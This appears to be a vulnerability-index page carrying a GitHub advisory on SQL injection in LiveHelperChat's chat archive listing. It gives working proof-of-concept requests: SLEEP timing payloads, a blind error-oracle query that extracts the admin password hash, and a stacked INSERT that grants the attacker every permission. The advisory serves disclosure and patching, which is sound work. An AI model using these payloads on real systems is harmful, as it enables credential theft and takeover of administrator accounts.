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Advisory · GitHub · Packagist · remdex/livehelperchat

GHSA-MHXJ-3VW8-CM6W

SQL injection in the chat archive listing via archive id path segment

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CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición38 dDesde la divulgación, 12 oct 2026, 1:50 a. m.
Detección37 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
12 oct 26
19 nov 26
20 nov 26
12 oct 26
22 oct 26
31 oct 26
10 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-MHXJ-3VW8-CM6W divulgada · CVSS 8.8 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`modules/lhchatarchive/listarchivechats.php:26` builds the sort expression by concatenating the archive id from the URL path into a backtick quoted identifier:

$filterParams['filter']['sort'] = '`lh_chat_archive_' . $Params['user_parameters']['id'] . '` . `id` DESC';

Two lines above, `$archive->setTables()` has already derived the correct table name from the loaded archive record (`erlhcoreclassmodelchatarchiverange.php:229`), so the safe value is in scope and unused. The same raw segment reaches five further identifier positions in the same file, on lines 19, 30 and 31.

The framework has a sort whitelist. `lib/core/lhcore/lhsearchhandler.php:512` assigns `$filter['sort']` from a fixed options map, and `lhchat/searchattr/chat_search.php:817-824` holds the six permitted columns. Line 26 runs afterwards and overwrites that assignment.

`ATTR_EMULATE_PREPARES` appears nowhere in the tree, so the PDO default applies and a statement separator executes a second statement.

Result: an operator holding the single `archive` permission reads every table in the database and writes to it, including a self-grant of all permissions.

Details

`listarchivechats.php:26` concatenates `$Params['user_parameters']['id']` into the `sort` filter value, and `lib/core/lhcore/lhdbtrait.php:306` passes it to `orderBy()` for the count query, `:373` and `:375` for the list query. `lib/core/lhcore/lhmodule.php:33` takes the path segment from `ezcUrl::getParam()` into `$Params['user_parameters']` with no cast and no validator. The product handles the same construct correctly next door: `modules/lhmailarchive/listarchivemails.php:26` and `:19` build the identical expressions from `Conversation::$dbTable` instead of the URL, and `modules/lhchatarchive/archivechats.php:11-13` declares the same id as an `int` with `min_range` 1.

Reachable with no configuration change, once an administrator has granted the permission. Reproduced on MariaDB 10.6.28 and on MySQL 5.7.44.

`lhchatarchive/archive` is not part of the Operators role the installer creates; the installer does not grant `chatarchive` at all. An account holding only it is refused on `user/userlist`, `permission/roles`, `system/configuration`, `chatarchive/configuration` and `chatarchive/newarchive`. Those refusals are HTTP 200 with a 6.2 kB denial page, not 403.

An archive range must already exist, and the attacker cannot create one: `chatarchive/newarchive` needs the `configuration` function he is refused. Its id is visible through `chatarchive/list`.

The self-grant takes effect only after a re-login, because the permission set is cached in the session.

Proof of concept

LiveHelperChat 4.94v (`d8787d04`), Docker, MariaDB 10.6.28, default configuration. Attacker is `vrfy_arch`, whose role holds exactly one `lh_rolefunction` row: `lhchatarchive` / `archive`.

  1. Dose-response through the path segment.
GET /index.php/site_admin/chatarchive/listarchivechats/1`.`id`%20DESC,%20(SELECT%20SLEEP(0))%20--%20a   200  0.045 s
GET /index.php/site_admin/chatarchive/listarchivechats/1`.`id`%20DESC,%20(SELECT%20SLEEP(3))%20--%20a   200  3.038 s
GET /index.php/site_admin/chatarchive/listarchivechats/1`.`id`%20DESC,%20(SELECT%20SLEEP(6))%20--%20a   200  6.040 s

Baseline without a payload is 0.037 to 0.048 s.

  1. Blind extraction of a row the role reaches by no granted route, using an error oracle: `IF(<condition>, 1, (SELECT 1 UNION SELECT 2))` returns 200 when the condition holds and 503 when it does not.
... ORDER BY IF((SELECT ASCII(SUBSTR(password,N,1)) FROM lh_users WHERE id=1) > X, 1,
               (SELECT 1 UNION SELECT 2)) -- a

14 characters in 92 requests, 16.1 s: admin:$2y$10$G
matches SELECT CONCAT(username,0x3a,password) FROM lh_users WHERE id=1 read directly.

Each probe costs 20 to 40 ms of server time; a full hash needs roughly 430 requests.

  1. Stacked write. A separator in the identifier executes a second statement.
GET /index.php/site_admin/chatarchive/listarchivechats/1%60.%60id%60;%20INSERT%20INTO%20
    lh_rolefunction%20(role_id,type,module,function,limitation)%20VALUES%20(4,0,'*','*','')%20--%20a

200 in 0.042 s

After a re-login the same account reaches `/permission/roles`, `/user/userlist` and `/system/configuration`: the 6.2 kB denial page is replaced by full pages of 22 to 78 kB. A stacked `CREATE TABLE` and a stacked `DELETE` were also executed, and all writes were reverted.

Controls
  1. Payload without the backtick break-out: `503` in 0.021 s, no delay. `lh_audits` records `Unknown column 'lh_chat_archive_1 DESC, (SELECT SLEEP(3)) -- a.id' in 'ORDER BY'`.
  2. Anonymous: `302` to the login form in 0.006 s.
  3. Account in the stock Operators role: denial page in 0.009 s.
  4. Non-existent archive id 999: `503` in 0.026 s, because `setTables()` is called on a boolean before the sink is reached.
  5. Twenty probe requests leave row counts and table counts unchanged: reading through this endpoint destroys nothing.

Live-verified: the admin bcrypt hash prefix was extracted and matched against the column read directly, and a stacked write granted the attacker's role every module and function.

Impact
  • Full read of the application database, including bcrypt password hashes and the SMTP credentials serialised in `lh_chat_config`.
  • Arbitrary write through stacked statements, demonstrated as a self-grant of all modules and all functions, which yields administrator access after a re-login.
  • Arbitrary deletion through the same primitive.
  • The timing oracle and the stacked write leave no `lh_audits` row; only the error oracle does, and each of those rows carries the full SQL payload in cleartext.

Credit

Jan Kahmen, turingpoint https://www.turingpoint.de (jan@turingpoint.de)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
remdex/livehelperchat≤ 4.94v
4.94v
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistremdex/livehelperchat
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/LiveHelperChat/livehelperchat/security/advisories/GHSA-mhxj-3vw8-cm6w

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.